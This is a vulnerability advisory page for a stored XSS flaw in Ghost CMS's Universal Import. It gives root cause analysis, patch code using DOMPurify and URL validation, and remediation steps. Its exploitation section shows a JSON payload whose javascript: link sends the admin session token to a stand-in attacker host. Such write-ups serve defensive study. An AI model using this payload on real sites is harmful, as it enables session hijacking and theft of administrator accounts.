CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-70588

CVE-2026-70588: Stored Cross-Site Scripting via Universal Import in Ghost CMS

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 5, 2026·7 min read·22 visits

Executive Summary (TL;DR)

A stored Cross-Site Scripting (XSS) vulnerability in Ghost CMS (versions 5.26.0 to 6.54.0) allows administrative users to inject malicious scripts via the Universal Import feature, leading to administrative session hijacking when other users view the imported content.

CVE-2026-70588 is a stored Cross-Site Scripting (XSS) vulnerability in Ghost CMS versions 5.26.0 through 6.54.0. The vulnerability exists within the Universal Import feature of the Ghost Admin interface. When processing imported content from third-party platforms such as Revue, the importer fails to sanitize user-controlled HTML tags, rich-text structured JSON, or link fields before rendering them in the Ghost Admin panel and front-end template rendering contexts.

Vulnerability Overview

Ghost is an open-source, Node.js-based content management system. It exposes a web-based administration control panel called Ghost Admin. Within this administration boundary, high-privileged users have access to import and export utilities, which allow content migrations from legacy Ghost installations and third-party systems like the newsletter platform Revue.

The Universal Import mechanism represents a significant attack surface because it processes structured formats including JSON files and ZIP archives. This ingestion pipeline converts arbitrary external records into schema-conforming database records. During this parsing operation, the application must normalize heterogeneous attributes into internal models such as posts, members, and settings.

CVE-2026-70588 is a stored Cross-Site Scripting (XSS) vulnerability arising from a failure to sanitize input during this normalization process. Specifically, the import engine accepts unsanitized HTML elements and malformed URL protocols inside imported properties. This allows an attacker to inject execution vectors that persist in the database and subsequently execute when administrative users review the records.

Root Cause Analysis

The root cause of CVE-2026-70588 resides in two separate injection pathways in Ghost's content ingestion and rendering architecture. The first pathway involves the feature_image_caption property associated with posts. The system design relies on Handlebars templates, which escape standard HTML entities by default unless marked as a SafeString. To provide formatting flexibility for image captions, developer-defined properties are explicitly wrapped in a Handlebars SafeString class.

However, the backend framework instantiated these SafeString wrappers directly on raw, unvalidated string values retrieved from the database. The system assumed that the administrative ingestion boundaries had already sanitized the input. Because the Universal Import interface lacked validation controls, any HTML elements present in the imported archive were written directly to the database. Upon rendering in the preview modal (modal-post-history.js) or frontend templates (proxy.js), the raw payload executed in the victim's browser context.

The second injection pathway exists in the Revue-specific converter (json-to-html.js). This component parses structured JSON exports from the Revue newsletter platform and generates equivalent HTML tags. The parser mapped the input object's url property directly into standard HTML anchor tags (<a>) without validating the scheme or escaping attributes. This enabled both protocol-based execution (using schemes like javascript:) and HTML attribute breakout (using unescaped double quotes inside the URL attribute field).

Code-Level Analysis

The technical remediation was implemented in commit a8bea3a4ceec4c852b880f4885119453c3d8588e. The fix addresses the vulnerability by introducing two primary defense mechanisms: client and server-side DOM sanitization via DOMPurify and rigid protocol-level URI validation.

In the vulnerable version of the frontend admin controller, the feature_image_caption properties were parsed and rendered dynamically inside the modal-post-history.js file without validation. The patch resolves this by introducing DOMPurify to clean the caption and enforce a strict permit list of allowable tags:

import Component from '@glimmer/component';
import DOMPurify from 'dompurify'; // Added in patch
 
get selectedRevision() {
    const revision = this.revisionList[this.selectedRevisionIndex];
    // Enforce strict sanitization on the image caption
    revision.feature_image_caption = DOMPurify.sanitize(revision.feature_image_caption, {
        ALLOWED_TAGS: ['a', 'b', 'i', 'span'],
        ALLOWED_ATTR: ['href', 'style'],
        ALLOW_DATA_ATTR: false,
        ALLOW_ARIA_ATTR: false
    });
    return revision;
}

Additionally, the patch addresses the template rendering engine (proxy.js) to secure server-side execution. The backend engine instantiates DOMPurify using a virtual DOM environment provided by jsdom. This ensures that even if unsanitized data resides in the database, the server cleanses it prior to instantiating the Handlebars SafeString instance:

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);
 
(Array.isArray(data) ? data : [data]).forEach((resource) => {
    // feature_image_caption contains HTML, making it a SafeString
    if (resource.feature_image_caption) {
        // Sanitize the caption prior to declaring it a SafeString
        const sanitizedCaption = DOMPurify.sanitize(resource.feature_image_caption, {
            ALLOWED_TAGS: ['a', 'b', 'i', 'span'],
            ALLOWED_ATTR: ['href', 'style'],
            ALLOW_DATA_ATTR: false,
            ALLOW_ARIA_ATTR: false
        });
        resource.feature_image_caption = new SafeString(sanitizedCaption);
    }
});

Finally, the Revue parser in json-to-html.js was modified to validate the incoming url parameter. Instead of interpolating the raw string directly into the template, the system executes a validator function (getValidURL) that enforces protocol validation and rejects non-standard URI schemes:

const getValidURL = (url) => {
    const normalizedURL = typeof url === 'string' ? url.trim() : '';
    if (!normalizedURL) {
        return '';
    }
    try {
        const parsedURL = new URL(normalizedURL, 'https://example.com');
        if (parsedURL.protocol === 'http:' || parsedURL.protocol === 'https:') {
            return normalizedURL;
        }
    } catch {
        // Invalid URLs are omitted from imported links
    }
    return '';
};

Exploitation & Attack Methodology

To execute this attack, an offensive actor must first acquire administrative credentials or compromise an existing account with import privileges. Since the vulnerability is located behind the authentication wall, the threat actor operates from an authenticated perspective. The execution complexity is classified as high because the attacker must assemble a valid JSON schema or ZIP structure conforming to Ghost's parser.

An attacker begins by preparing an export file containing malicious payloads. For a Revue import exploit, the actor crafts a JSON object representing a post where the image caption or link entity contains an injection payload. The payload can be designed to steal the current session tokens or execute admin-level administrative commands:

{
  "item_type": "link",
  "url": "javascript:fetch('https://attacker.example.com/exfil?session=' + encodeURIComponent(localStorage.getItem('ghost-admin')))"
}

Once the archive is constructed, the attacker uploads it via the Ghost Admin settings portal. Because the parsing engine does not sanitize the input, the payload is successfully stored in the SQL database. When a target administrator reviews the imported content, the browser parses the unescaped script, allowing the attacker to hijack the active session.

Impact Assessment

The security impact of CVE-2026-70588 is substantial, despite its classification of Medium severity under CVSS v3.1. While the vulnerability requires high privileges (PR:H) to perform the initial import, the subsequent execution occurs within the context of any user who views the imported post revisions or templates.

If a victim with elevated administrator privileges accesses the infected post revisions, the malicious JavaScript executes with their active permissions. This allows the script to bypass multi-factor authentication (MFA) controls because it operates within an established, authenticated session. The script can perform actions on behalf of the administrator, such as modifying system settings, adding backdoor accounts, or exfiltrating sensitive subscriber lists.

Additionally, because the vulnerability also impacts the frontend template rendering (proxy.js), unauthenticated external visitors who view the published post might also trigger the script execution. This widens the impact from internal administrative session hijacking to public-facing watering-hole attacks.

Remediation & Patch Analysis

Remediation requires upgrading the Ghost application to version 6.54.1 or higher. The patch fully mitigates the reported attack vectors by applying client-side sanitization, server-side template cleaning, and rigorous schema validation on imports. Administrators should perform this upgrade using the command-line utility: ghost update.

For environments where an immediate upgrade is not feasible, temporary mitigation strategies must be applied. Administrators should restrict import privileges by limiting administrative access to trusted personnel. Additionally, implementing a robust Content Security Policy (CSP) header through the web server (such as Nginx or Cloudflare) will block the execution of inline scripts and unauthorized network connections.

An assessment of the patch indicates that the fix is comprehensive. By utilizing DOMPurify to sanitize HTML attributes and tags at both the API and render levels, and by validating URL protocols in the import processors, the developers have closed the known vectors. However, security teams should continuously audit any custom templates or third-party integrations that leverage Handlebars SafeString wrappers to ensure no similar bypasses exist in other modules.

Official Patches

GhostGitHub Security Advisory GHSA-2gx6-7gx2-wwcf

Fix Analysis (1)

Technical Appendix

CVSS Score
5.0/ 10
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:L

Affected Systems

Ghost CMS

Affected Versions Detail

Product
Affected Versions
Fixed Version
Ghost
Ghost Foundation
>= 5.26.0, < 6.54.16.54.1
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS Severity5.0 (Medium)
Exploit StatusNone
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The application does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability officially disclosed and advisory published.
2026-08-04
Patched version v6.54.1 released.
2026-08-04

References & Sources

  • [1]GitHub Security Advisory GHSA-2gx6-7gx2-wwcf
  • [2]Fix Commit a8bea3a4
  • [3]Ghost Pull Request 29635
  • [4]Ghost Release Tag v6.54.1

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•GHSA-WWV5-G3V4-889X
2.3

GHSA-wwv5-g3v4-889x: Cookie Attribute Injection in Tornado via Legacy Case-Insensitive kwargs

An incomplete sanitization fix for CVE-2026-35536 in Tornado allowed cookie attribute injection. The framework's validation loop checked lowercase keyword arguments but neglected legacy case-insensitive parameters passed through arbitrary keyword arguments, which Python's underlying library parses case-insensitively.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 2 hours ago•GHSA-8423-8FGW-73VQ
5.3

GHSA-8423-8FGW-73VQ: Memory Amplification Denial of Service in Tornado Multipart Form Parser

GHSA-8423-8FGW-73VQ is a pre-authentication denial of service vulnerability in the Tornado web server's handling of multipart/form-data. The flaw allows an unauthenticated remote attacker to cause memory exhaustion and CPU starvation by transmitting a crafted HTTP request containing a high density of boundary delimiters. Because Tornado splits the entire request body in memory prior to enforcing the max_parts validation threshold, the Python interpreter attempts to materialize a massive list of byte segments. This triggers an immediate memory exhaustion (OOM) crash or server-wide CPU starvation before the payload can be validated and rejected.

Alon Barad
Alon Barad
2 views•6 min read
•about 3 hours ago•GHSA-J8PM-GJ4C-RQ4X
7.5

GHSA-J8PM-GJ4C-RQ4X: Algorithmic Complexity Denial of Service in league/commonmark

The league/commonmark library is subject to multiple denial of service vulnerabilities. These stem from three independent algorithmic complexity weaknesses in Markdown parsing: regular expression backtracking, reference link normalization, and delimiter processing. Remote, unauthenticated attackers can exploit these flaws by submitting crafted Markdown input to exhaust CPU execution resources, leading to application-wide thread exhaustion.

Amit Schendel
Amit Schendel
2 views•6 min read
•about 4 hours ago•GHSA-F8FG-PG57-V4J8
5.8

GHSA-f8fg-pg57-v4j8: Sanitizer Filter Bypass via Control Character Injection in league/commonmark

An inconsistency in whitespace handling between the PCRE regex engine, PHP's native trim function, and web browsers allows unauthenticated attackers to bypass XSS protections in the league/commonmark AttributesExtension by injecting a Form Feed (U+000C) control character.

Alon Barad
Alon Barad
2 views•7 min read
•about 5 hours ago•GHSA-JJV6-8J6V-6J52
7.5

GHSA-JJV6-8J6V-6J52: Algorithmic Complexity Denial of Service in league/commonmark

GHSA-JJV6-8J6V-6J52 details multiple algorithmic complexity issues in the SmartPunct and Attributes extensions of the league/commonmark PHP library, leading to high CPU consumption and Denial of Service (DoS) when parsing pathological Markdown inputs.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 6 hours ago•CVE-2026-78680
7.8

CVE-2026-78680: Arbitrary Code Execution in NLTK via Untrusted Graphviz Path Resolution

An Untrusted Search Path (CWE-426) vulnerability exists in the Natural Language Toolkit (NLTK) library when executing the Graphviz 'dot' utility. Because the library fails to enforce absolute paths when executing external commands, local attackers can plant a malicious binary named 'dot' inside the current working directory. The library then executes the malicious binary, resulting in local arbitrary code execution under the context of the running Python process.

Alon Barad
Alon Barad
6 views•6 min read